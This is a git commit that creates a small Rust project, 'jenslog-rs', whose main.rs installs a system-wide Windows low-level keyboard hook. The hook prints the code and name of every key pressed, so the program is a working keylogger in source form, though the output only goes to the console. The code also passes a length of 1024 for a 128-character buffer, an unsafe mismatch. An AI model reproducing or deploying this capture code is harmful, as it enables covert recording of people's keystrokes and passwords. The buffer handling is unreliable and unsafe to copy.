commit c0e452f4208ba8950c43f9eb53e85fcff0065e1c Author: LordMZTE Date: Tue Aug 25 13:12:41 2020 +0200 init diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..89c0fff --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +/target +.idea +*.iml diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..9fda7e8 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,40 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +[[package]] +name = "jenslog-rs" +version = "0.1.0" +dependencies = [ + "winapi", + "wio", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "wio" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d129932f4644ac2396cb456385cbf9e63b5b30c6e8dc4820bdca4eb082037a5" +dependencies = [ + "winapi", +] diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..36377b8 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "jenslog-rs" +version = "0.1.0" +authors = ["LordMZTE "] +edition = "2018" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +winapi = { version = "0.3.9", features = ["winuser"] } +wio = "0.2.2" diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..19a506e --- /dev/null +++ b/src/main.rs @@ -0,0 +1,30 @@ +use std::ptr::null_mut; + +use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA, GetKeyNameTextW}; +use std::ffi::OsString; +use wio::wide::FromWide; + +fn main() { + unsafe { + SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0); + + GetMessageW(null_mut(), null_mut(), 0, 0); + } +} + +unsafe extern "system" fn hook_callback(_code: i32, w_param: usize, l_param: isize) -> isize { + //Check if keydown + if w_param != 256 { return 0; } + let key = *(l_param as PKBDLLHOOKSTRUCT); + + println!("{} >> {}", key.vkCode, scan_code_to_key_name(key.scanCode)); + 0 +} + +fn scan_code_to_key_name(scan_code: u32) -> String { + unsafe { + let mut out = [0u16; 128]; + GetKeyNameTextW((scan_code << 16) as i32, (&mut out).as_mut_ptr(), 1024); + OsString::from_wide(&out).to_str().unwrap().replace('\0', "") + } +} \ No newline at end of file